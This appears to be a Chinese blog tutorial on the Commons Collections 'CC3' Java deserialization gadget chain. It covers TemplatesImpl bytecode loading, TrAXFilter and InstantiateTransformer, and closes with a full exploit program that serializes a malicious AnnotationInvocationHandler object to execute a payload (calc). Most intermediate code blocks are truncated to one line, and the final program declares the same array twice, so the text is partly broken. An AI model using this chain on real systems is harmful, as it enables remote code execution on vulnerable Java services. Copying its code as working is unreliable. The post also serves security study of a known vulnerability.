CC链3
CC链3
前面介绍了CC1和CC6,这两条链子虽然前面的入口类不同
- CC1入口类是AnnotationInvocationHandler
- CC6入口类是HashMap
但是其触发恶意代码的方式是相同的,都是InvokerTransformer.transform()触发Runtime.getRuntime().exec()实现命令执行。
而在很多情况下,Runtime.getRuntime().exec()方式会被服务器所禁止(代码黑名单),导致最终利用链无法执行。
CC链3其实是在调用Runtime.exec()的另一种方式,通过类加载的形式动态加载恶意类来实现自动执行恶意类代码的
CC3链中使用的动态类加载机制
通常情况下,实战中使用动态类加载机制加载恶意类的方式有以下几种:
- URLClassLoader 任意类加载
- ClassLoader.defineClass 字节码加载任意类(私有方法)
- Unsafe.defineClass 字节码加载(公有方法),但类不能直接生成,Spring中可以直接生成
而CC3链则是利用的ClassLoader.defineClass 字节码加载任意类(私有方法)
ClassLoader.defineClass 字节码加载任意类方式为:
1 | // 获取一个classLoader对象 |
TemplatesImpl
通过defineClass()方法可以加载一个类字节码,生成一个类对象。如果类字节码中存在恶意的内容,则会执行。
接下来寻找一下哪里调用了defineClass()方法,和其他利用链一样,最终需要找到readObject()。
在defineTransletClasses()中看到了调用defineClass()方法
但由于私有的,所以再查找谁调用了defineTransletClasses()
在下面的getTransletInstance()方法找到了调用
但依旧私有,继续找
最后在newTransformer()中找到了,并且也是public
此时的调用链为:
1 | com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer |
构造TemplatesImpl类中的调用链的payload
接下来我们构造一下当前的调用链的payload,使其调用TemplatesImpl.newTransformer()时,加载恶意类,触发恶意代码。
通过刚才的分析,当调用到newTransformer()方法时,会触发一系列的调用,当然,我们要解决中间的一些“阻碍”。
首先创建一个TemplatesImpl对象:
1 | TemplatesImpl templates = new TemplatesImpl(); |
接下来调用newTransformer()方法:
1 | templates.newTransformer(); |
此时运行代码,并不会执行恶意代码,因为我们连恶意类字节码还没呢!此时只是调用了newTransformer()方法而已,调用链并不能成功执行下去。
但是我们开头和结尾已经有了,接下来需要在中间将参数、限制条件等解决掉。
假如现在我们已经执行了newTransformer()方法,那么到底是什么内容限制了调用链的成功执行呢?
首先调用newTransformer()方法后,我们通过调用链得知,接下来需要调用TemplatesImpl.getTransletInstance()方法,而在newTransformer()方法内部可以发现,并没有什么可以阻碍代码执行到getTransletInstance()方法
接下来,是需要调用TemplatesImpl.defineTransletClasses()方法,进入getTransletInstance()方法看一下:
从这里可以发现,这里有两道坎,一个是_name,一个是_class,我们需要满足:
- _name 不能为null
- _class必须是null
因为这些属性默认就是null,所以我们需要给_name赋值,使其不是null。
通过查看_name属性在该类中的赋值情况,发现并不好赋值,所以接下来我们通过反射,给_name属性赋值
1 | private String _name = null; |
1 | Class templatesClass = templates.getClass(); |
此时运行,还是执行不成功。因为后面还是有别的限制的,继续分析
现在能成功调用defineTransletClasses()方法了,根据调用链得知,接下来需要调用TransletClassLoader.defineClass()方法。
进入到defineTransletClasses()方法内部:
发现,这里有一个限制,就是_bytecodes属性,不能为空,否则报异常。
看看_bytecodes属性,发现是一个二维数组:
1 | private byte[][] _bytecodes = null; |
并且在调用defineClass()方法的位置,_bytecodes[i]会当做defineClass()方法的参数传入。
一步步进入defineClass()方法后会发现,最后调用了ClassLoader.defineClass(),当然这里就是前面所说的调用链。
这里我们关注_bytecodes[i]参数,最终会成为ClassLoader.defineClass()方法的byte[] b,也就是说最终通过defineClass方式加载的类字节码。
这里先准备个.class的恶意文件:
创建恶意类,并将其编译成class文件
1 | public class Test { |
准备好.class文件之后,接下来给_bytecodes属性赋值,注意它是一个二维数组,传入defineClass()方法的是_bytecodes[i],所以我们加载的.class文件的字节码内容,应该放在_bytecodes[i]处。
1 | Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes"); |
defineTransletClasses()方法中用到的_tfactory也不能为null
查看一下_tfactory的类型:
1 | private transient TransformerFactoryImpl _tfactory = null; |
发现是TransformerFactoryImpl类型,但是被transient修饰,也就是说不能进行序列化。
但是在重写的readObject()方法中存在_tfactory赋值:
意味着,即使我们没有将_tfactory序列化进去,但是执行readObject()即反序列的时候,同样会给_tfactory赋值!这样就不用担心_tfactory为null了。
给_tfactory赋值:
1 | Field _tfactoryField = templatesClass.getDeclaredField("_tfactory"); |
但这样运行后异常报错
1 | public class Test { |
直接跳转到422行,发现在defineTransletClasses()方法内报错的
所以对其进行调试,查找哪里出了问题
关注此处代码
1 | if (superClass.getName().equals(ABSTRACT_TRANSLET)) { |
由于_transletIndex = -1 所以跳入下面的循环if (_transletIndex < 0) 就会进行异常报错
查看第一个判断语句superClass.getName().equals(ABSTRACT_TRANSLET)中的ABSTRACT_TRANSLET
发现是AbstractTranslet类
从for循环来看通将传入的字节码换成Java类,并通过getSuperclass()获取其父类
在进入if语句对父类名字与ABSTRACT_TRANSLET进行比较
1 | for (int i = 0; i < classCount; i++) { |
所以我们需要将恶意构造的类继承AbstractTranslet类,但AbstractTranslet类是抽象类,并且也继承了Translet类,且AbstractTranslet类重写了Translet类的很多方法,但有两个方法未重写
所以我们在恶意构造类中也要重写Translet类中的方法
1 | public abstract void transform(DOM document, DTMAxisIterator iterator,SerializationHandler handler) throws TransletException; |
重写构造恶意加载类
1 | import com.sun.org.apache.xalan.internal.xsltc.DOM; |
Test.java
1 | public class Test { |
成功直接恶意代码
CC1与TemplatesImpl的结合
由于是在调用Runtime.exec()的另一种方式,通过类加载的形式动态加载恶意类来实现自动执行恶意类代码的
InvokerTransformer依旧可以使用
1 | Transformer[] transformerArray=new Transformer[]{ |
只需要改变这里,其他的全部不变就行,因为我们只是改变了调用Runtime.exec()的方法
CC6与同理
TrAXFilter
通过对TemplatesImpl中的newTransformer()查找用法
通过分析找到了最有可能的地方TrAXFilter
InstantiateTransformer
CC3的作者并未使用InvokerTransformer,而是使用了新的类InstantiateTransformer
再transfom()中判断传入来的是不是是不是class类型,然后再通过反射获取指定参数类型的构造器,再调其构造函数
1 | InstantiateTransformer instantiateTransformer =new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}); |
将其套入transform[]中
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class Test {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
byte[] code = Files.readAllBytes(Paths.get("E:\\java-test\\TemplatesImpl\\TemplatesImpl\\target\\classes\\com\\javatest\\Pay.class"));
byte[][] codes = {code};
setValue(templates,"_name","aaa");
setValue(templates,"_bytecodes",codes);
setValue(templates,"_tfactory",new TransformerFactoryImpl());
// templates.newTransformer();
Transformer[] transformerArray=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}),
};
Transformer[] transformerArray=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);
Map<Object, Object> map = new HashMap<>();
map.put("value", "又是一年秋风萧瑟");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
annotationConstructor.setAccessible(true);
Object obj = annotationConstructor.newInstance(Target.class, transformedMap);
//serialize(obj);
unserialize("ser1.bin");
}
public static void setValue(Object object, String fieldName, Object value) throws Exception {
Class obj = object.getClass();
Field field = obj.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object,value);
}
//序列化方法
public static void serialize(Object object) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser1.bin"));
oos.writeObject(object);
}
//反序列化方法
public static void unserialize(String filename) throws Exception {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}
}
成功调用calc